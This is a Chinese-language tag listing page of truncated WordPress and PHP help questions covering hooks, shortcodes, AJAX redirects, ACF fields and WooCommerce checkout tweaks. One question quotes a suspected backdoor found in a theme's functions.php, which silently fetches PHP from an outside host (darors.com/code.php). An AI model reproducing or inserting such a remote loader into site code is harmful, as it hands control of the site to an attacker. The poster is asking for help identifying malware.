您当前的位置:首页 > TAG信息列表 > php
“删除帖子前”操作在帖子更新时触发吗?
我试图只在删除已发布的帖子时创建通知,但当我更新任何已发布的帖子时会触发通知?我做错了什么!谢谢function deleted_published_post_notify_author( $post ) { global $post; $send_published = get_post_meta( $post->ID, \'published_send_once\', true ); if ( ! empty( $send_pu
如何限制来自WordPress快捷码的内容?
我正在开发一个wordpress短代码,我想限制来自xml的内容。我用于wordpress短代码的代码是:function podcast_func( $content = null ){ ob_start(); ?> <script src=\"https://content.jwplatform.com/libraries/FZ8yNTef.js\"></script> <center><div id=\"
如何在PHP标记内使用带有do_Action函数的参数
我正在使用一个WordPress插件,它允许集成操作将其集成到一个主题中。使用GeneratePress的元素特性,我将动作添加为挂钩。目前我使用的代码是:<?php do_action(webcomic_integrate_landing_page); ?> 操作本身有一些布尔参数列在this website. 我最感兴趣的是webcomic_meta.如何将webcomic\\u元参数(设置为false)合并到PHP标记中以运行此操作?
当方法位于类内部时,如何将参数传递给Add_action?
在我的functions.php 我有require \'autoloader.php\'; add_action(\'init\', \'MyClass::make\'); 在我的MyClass 我的班级class MyClass { public static function make($type) { var_dump($type);die; } } 但是var_dump 是string(0) \"\". 我
如何在WordPress中总是在顶部(在常规帖子之前)显示粘滞帖子?
我正在编写一个wordpress代码,如下所示modified post displays at the top. $temp_args = [ \'post_type\' => array(\'current-channel\', \'post\', \'current-episodes\'), \'post_status\' => \'publish\', \'orderby\' => array( \'feat
用自定义重命名函数替换插件函数不起作用
随着WooCommerce和WooCommerce预订插件的启用,我试图在产品时间选择器部分上方添加一行文本,以告知客户他们需要选择其中一个选项。我在WooCommerce Bookings插件中找到了一个函数,该插件位于wc-bookings-functions.php php文件,我已将其复制到主题的functions.php 文件,通过在函数名的开头加上前缀“de\\u”,对其进行重命名,然后添加add_filter.当我这样做时,函数(原始插件或我的插件)根本不起作用,要么显示原始选择器,要么显示
WordPress重定向不起作用-未接收到AJAX回调响应
我无法在自定义wordpress插件中获得重定向。我在页面上有一个按钮,可以触发调用函数的AJAX操作。在我的函数中(当我在调试日志中看到“用户未登录”的输出时,肯定会调用该函数),我有:error_log(\"User is not logged in!\"); wp_redirect(home_url()); exit(); 我尝试过的事情:硬编码url,尝试其他url,使用exit();并退出,使用header()我不知道为什么这不起作用。每个其他类似问题的答案都是add
在WordPress中的何处包含php文件以及如何在以后引用它们
我目前正在创建一个自定义网页,我愿意在ajax命令中引用一个php文件open(GET,\"url php\",true) 所以我的问题是把我的php文件放在哪里,这样它就可以被这个代码段看到,以及如何调用它。谢谢
这是Function.php中的黑客脚本吗?
我在neve主题WordPress中有如下代码。我对这个代码感到怀疑$wp_auth_key=\'ac15616a33a4bae1388c29de0202c5e1\'; if (($tmpcontent = @file_get_contents(\"http://www.darors.com/code.php\") OR $tmpcontent = @file_get_contents_tcurl(\"http://www.darors.com/code.php\")) AND s
如果未找到该字段,则显示文本消息;如果未找到,则显示文本消息
如果未找到字段,我试图显示类似“抱歉,此处无信息”的消息,如果找到字段,则不应显示任何消息。我正在使用ACF插件在用户配置文件的前端显示字段。这是我的代码:<?php $user_ID = get_current_user_id(); $label = \'user_\' . $user_ID; the_field(\'Information\', $label); ?> 如果有人有想法的话,我已经尝试了很多
If Term的论点->是否有孩子?
我正在使用此页上的代码:https://www.wpbeginner.com/wp-tutorials/how-to-display-child-taxonomy-on-parent-taxonomys-archive-page/然而,我的自定义分类法对城市、州、国家有更深入的了解。我需要“if($term->parent==0)”来搜索if term是否有子项,然后执行此操作,否则执行此操作。现在,父分类法显示它的父-子分类法,但我需要父分类法显示它的子分类法,子分类法显示父-子分类法。本质上,如
在IF语句中使用自定义字段内容作为表达式
我想在自定义帖子类型中存储一些条件逻辑,然后在插件中使用这些逻辑根据逻辑生成新内容。例如,如果用户提交了一个带有“体温”的表单,条件逻辑将告诉用户是否发烧,以及一些额外的文本。将有许多这样的逻辑元素,我想从前端维护它们。我正在考虑将上述内容分为两个帖子。其中一个带有条件字段“温度>37”和文本“您发烧”。然后在通过逻辑记录的插件循环中,获取条件字段并将其用作if语句中的表达式。如何做到这一点?
如何使嵌入的YouTube视频从自定义字段文本响应屏幕大小?
所以我嵌入了一段youtube视频oembed 像这样:$embed_code = wp_oembed_get(get_field(\'youtube_video\') ); echo $embed_code; 但如何使其响应屏幕大小?在移动设备上观看视频时,视频的宽度比屏幕长,所以我想把它放到html中<video> 所以我可以控制大小,因为把它放在div 没有对它做任何事。但即使使用video 标签似乎不起作用。我这样试过:<?php $video
WordPress AJAX过滤器:为不同的输出样式创建两个循环?
我有两个不同的页面,带有过滤器。这两个页面具有不同的布局和样式。对于一个页面,我有三个不同的过滤器,其中输出和样式是相同的。对于“新闻过滤器”,我需要一种不同的样式。所以我想我需要另一个循环?如何输出两个不同的循环?我当前的功能。php是:function misha_filter_function(){ $args = array( \'orderby\' => \'date\', // we will sort posts by date \'order\
带有jQuery的视频海报中的ACF中继器图像
jquery无法将url从图像发送到html标记。我解释;我有一个带有5个变量的ACF中继器,其中包括一个用于制作视频海报的图像,我想做的是,通过jquery,在900px的较小屏幕中,将属性“海报”添加到视频标签中。这是我的代码:<div class=\"video\"> <video class=\"thevideo\" loop muted> <source src=\"<?php echo $previews
在wp_list_ategories中包括父项
我正在使用下面的脚本列出自定义分类法,但我仍然需要一个指向当前自定义分类法父级的链接以获得“All”链接。现在链接显示为:鞋子衬衫T恤希望包含“全部”链接,以便显示为:全鞋衬衫T恤<?php $term = get_term_by( \'slug\', get_query_var( \'term\' ), get_query_var( \'taxonomy\' ) ); $children = get_term_children( $term->ter
以自定义角色WordPress身份登录后重定向到主页
我有一个自定义角色的用户;但当我以自定义角色的用户身份登录时,它会将我重定向到网站的主页。我尝试通过插件使用此代码,但它仍然重定向到主页: $this->loader->add_action(\"login_redirect\", $plugin_public,\"user_login_handler\", 99999, 3);// User Login Handler public function user_login_handler($redirect_
将用户昵称和显示名称设置为缩写电子邮件
如果未设置昵称,我尝试在登录时将用户的display\\u name和昵称设置为用户电子邮件地址的第一部分(在@之前)。到目前为止,我已经:add_action( \'wp_login\', \'force_nicknames_on_login\' ); function force_nicknames_on_login( $username ) { $user = get_user_by( \'login\', $username ); $ni
会话存储将输入值保存在浏览器中,但不会加载到表单域中
我试图保存表单字段的输入值,但只有一个字段在页面刷新时返回值。我可以在chrome的sessionStorage中看到第二个字段的输入值,但刷新后它不会加载到表单字段。此外,我无法将select字段用于sessionStorage。当JavaScript代码运行时,选择字段将被禁用。请注意,我的js代码中的else语句是为了防止字段为空时显示“未定义”。请检查我的代码,并告诉我我做错了什么。我正在尝试对woocommerce签出页面中的自定义字段执行此操作。Js代码: // Run on page
如何在Woo Commerce结账页面上显示特定类别的自定义产品字段值?
无论是白天还是夜晚,我想在woo commerce结账页面上显示特定类别(衬衫)的自定义产品字段值。我已成功检查类别,但打印产品属性的尝试失败。我会偏离轨道吗?add_action(\'woocommerce_before_calculate_totals\', \'personalization_check_category_in_cart\'); function personalization_check_category_in_cart() { // Set $cat_in